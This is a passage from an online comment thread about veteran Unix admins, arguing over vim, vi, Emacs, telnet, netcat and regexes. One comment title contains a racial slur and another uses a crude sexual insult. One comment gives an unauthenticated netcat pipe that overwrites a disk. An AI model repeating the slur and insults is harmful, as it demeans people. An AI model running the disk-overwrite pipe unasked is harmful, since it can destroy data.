    It's not that vim is inherently bad, it's just that it's *unnecessary*. It includes tons of features that an old-school admin has no use for. Sure, most of us use it anyway because modern Linux systems usually don't include our good friend vi (it's usually just a symlink to vim), but we rarely use the features that separate vim from vi.

    Maybe I'm the odd one here, but on this Mac I'm using now, and also on the linux box on the desktop behind it, I have a number of terminal windows open in which I'm explicitly runnng vim and using those features.

    The most important one is UTF-8 support, so I can sensibly edit text in a language other than English without it going all mojibake on me when I email it to someone or even try to print it. Thus, there's a window poking out behind this firefox window that's showing a mixture of English and Chinese text, displayed and edited easily by vim.

    But I suppose a lot of those "old-school" admins would have the usual American/British organizational contempt for all languages other than English (plus maybe Fortran and Cobol ;-). But some of us are part of the new world of i18n that's been slowly creeping up on everyone. People who speak only English are now a distinct minority on the Internet. For the rest of us, tools like vim are quite useful.

    Now if I could only get an xterm that handles Arabic and Hebrew sensibly ...

    --
    Those who do study history are doomed to stand helplessly by while everyone else repeats it.
  132. Re:vim? really? by Culture20 · · Score: 1

    telnet pretty much solves my remote troubleshooting needs, and it's quite ubiquitous, even available on the windows command line.

    Not by default any more. With Win7 you have to add it on using Programs and Features. Probably the same with Win2k8. In fact, I recently noticed that RHEL6 doesn't include telnet client in their list of default packages either.

  133. Re:vim? really? by swilly · · Score: 1

    Which is why, as a seasoned UNIX admin, I remove all vi from my systems (to prevent broken programs that do not use $EDITOR or /etc/alternatives from dropping me into vi) and use emacs exclusively. Or jove on small systems.

    This is just stupid. Yes, not using $EDITOR is wrong, but removing vi is wronger. I love Emacs (and do all my coding in it) but vi is the single greatest editor for quick and dirty edits, and is what I use almost exclusively for admin related edits.

    C-X-( and M-x yank-rectangle improve my efficiency vastly for the one-off scenarios which it is not worth scripting.

    Original article author apparently has never met seasoned admins of the emacs species. Specist! :-)

    Here I have to agree. From time to time I need to work on a rectangular region, and Emacs is just awesome there. It also has superior macro capabilities to vi (though vim has mostly caught up), which is quite often quicker and easier than writing some quick perl. You nailed two of the three times where I use emacs instead of vi for admin related tasks. The third time is when using Oracles sqlplus, which if run inside an Emacs shell you can get easy command history, plus treating the output of a select as a text buffer is super convenient.

    Learn both editors, learn where they are strong and where they are weak, and use the right tool for the job.

  134. Re:vim? really? by kybred · · Score: 1

    I have to go with the GP on this one. It's not that vim is inherently bad, it's just that it's *unnecessary*. It includes tons of features that an old-school admin has no use for. Sure, most of us use it anyway because modern Linux systems usually don't include our good friend vi (it's usually just a symlink to vim), but we rarely use the features that separate vim from vi. Moving in and out of edit mode is second nature. Hell, even using the arrow keys to move around is a needlessly inefficient waste of motion, since the arrow keys are usually far from any other useful key on the keyboard. The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on.

    :set compat

    That's all you have to do to make vim very close to vanilla vi.

    And if you're cursing the one who turned on syntax highlighting, why not edit your .vimrc and disable it?

  135. Re:vim? really? by Darinbob · · Score: 1

    Real Unix vets don't use something new-fangled like vi. It's either "ed" when they're lazy, or "cat > /unix" when someone is watching over their shoulder.

  136. Re:vim? really? by Darinbob · · Score: 1

    To get back on topic: veteran unix admins don't read docs either, but they sometimes write them.

  137. Still not there grasshopper! by codepunk · · Score: 1

    Put some more years under your belt grasshopper and you to will fit the examples described.

    --


    Got Code?
  138. Re:vim? really? by cthulhu11 · · Score: 1

    Real unix admins use "op" instead of the inferior "sudo".

  139. Re:vim? really? by Anonymous Coward · · Score: 0

    The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on.
    [snip]
    Any Unix admin worth his salt, no matter how long and luxurious his neck beard, will gladly upgrade his tools to improve his own efficiency or increase security. SSH does both of those things, while vim does neither.

    You've contradicted yourself there. Colourization is an extra channel of information that improves efficiency. Syntax highlighting is one use; vimdiff is another.

    ...Stu

  140. Re:vim? really? by GCPSoft · · Score: 1

    Yes, vim. I love the way it highlights whatever code I'm writing. I even wrote a filter to add syntax highlight for my own configuration files when I program something new. So make no mistakes, vim is a very improved tool, and as I can use vi where vim is not to be found, I prefer myself the improved version over any other text editor in the world. Did you know there's a version for Windows too?

  141. Re:Python Regexps by bjourne · · Score: 1

    Thanks for trying, but that regexp is not even close to working: re.sub(r'(.{3})A', r'\1B', 'abcdefgh') => 'abcdefgh'. Try harder.

  142. Re:vim? really? by TheDeRanger · · Score: 1

    While perhaps true, since the thread is about old-school Unix admins, this comment is perfect for /.

  143. Re:vim? really? by Anonymous Coward · · Score: 0

    And in the end, nvi is free as in the yeast to make your own beer while GNU vim is free as in the yeast that slut gave you.

  144. one guy's take on a 'unix vet' by Anonymous Coward · · Score: 0

    betcha he ain't a 'unix vet'. sudo or su -c is always a better option than su.

    need a reboot? fine but be sure to find out WHY you needed a reboot. 'to fix things' is not a good answer and ideally you should not have to reboot twice for the same reason. this isn't windows. unix systems are not supposed to shit themselves and if they do, you gotta find out why. that, in a nutshell, is what a unix vet does. that and shell scripting -- those crazy masochists.

  145. Shameless Advocacy: socat, ssh, stunnel. by jonaskoelker · · Score: 1

    nc is the more flexible, featureful

    Socat has 80 different options for how to connect (stdio, TCP, raw IP packets, unix sockets, fifo files, UDP, openssl-wrappings, ...).

    gzip < /dev/sdb | nc -l 33333; nc foohost 33333 | gunzip > /dev/sdb

    I'd want to do that with some cryptographic authentication---that is, integrity. Whether I want to my disk keep secret or not is a different matter, but I sure as heck don't want my ISP (or just cosmic rays) corrupting my file system. Maybe ssh or stunnel is the right option here.

    1. Re:Shameless Advocacy: socat, ssh, stunnel. by bill_mcgonigle · · Score: 1

      Socat has 80 different options for how to connect (stdio, TCP, raw IP packets, unix sockets, fifo files, UDP, openssl-wrappings, ...).

      If it wasn't clear, the comparison above that was to telnet.

      I'd want to do that with some cryptographic authentication---that is, integrity. Whether I want to my disk keep secret or not is a different matter, but I sure as heck don't want my ISP (or just cosmic rays) corrupting my file system. Maybe ssh or stunnel is the right option here.

      Of course, ssh works well for this. It's just overhead on a private VLAN, though.

      --
      My God, it's Full of Source!
      OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  146. #10 by Muad'Dave · · Score: 1

    Real hard-core sysadmins don't use perl, they use sed, awk, grep, cut, etc.

    --
    Tiller's Rule: Never use a word in written form that you've only heard and never read. You will end up looking foolish.
  147. Re:The Problem With Veteran Niggers by F1re · · Score: 1
    --
    ...there is no sig...
  148. Re:vim? really? by Anonymous Coward · · Score: 0

    Not to mention that vim has a "vi-compatible" mode (that's enabled by default when invoked as vi and not overriden in the vimrc) that makes it act like vi for almost all intents and purposes.

  149. Re:vim? really? by Anonymous Coward · · Score: 0

    All the major changes are documented under ":help vi_diff.txt".

    You can set the undolevels option to 0 to get the vi behavior. Also see ":help undo-two-ways".

    Of course you can. But you missed the point-- the cardinal rule is "leave existing behavior alone; make all new behavior an option that must be explicitly enabled."

    It's the same with the bozo who decided that it'd be nifty to alias "vi=vim" in /etc/profile.d/vim.sh -- don't screw with my rhubarb!

  150. Re:Python Regexps by hardane · · Score: 1

    I'd bet against you, but while I can write regexps and even enjoy it when I do it I don't enjoy writing one without proper purpose - and thus I won't try. However I do believe that this example is of the type that even if it's code wise smaller and clearer it's such simple thing to do without regular expressions and the solution for this made using substr calls, etc. instead of regexes would be much more memory and resource intensive - though it's unlikely that it would make any significant difference, such of that it would matter, unless some really bad programmer choosed wrong method in case where amounts of data, requirements for resource usage limits, etc. would clearly dictate that no matter what it's time to optimize this for *speed*, and while for some things, I would bet that for this one the regex solution would NOT be faster or consume less resources. However my point is not against or pro regex (though I am pro regEx) - I don't see a fight there and I think that everyone who does is stupid and a coder that can't comprehend that there are situations where regexes and others where non-regex solutions simply rock. One thing, btw, where it gives enormous powers is on command line, as there are numerous tools that are invoked from command line and use regexe's you enter for them to manipulate data - and given the different utilities and tasks you might want to do, without common system like regexps there would be either unrealistic amount of tools with very different weird ways for things or more likely there would not be so nice command tools available and for what you could do with couple one-liners and piping you would have to just do scripts for whatever comes to your mind... I mean, scripting when it's meaningful is different, but would you really want to do all those *nix hackers belowed data manipulations with stuff like that code of yours (except much more complex ones) on command line? No? Well, scripts it is then...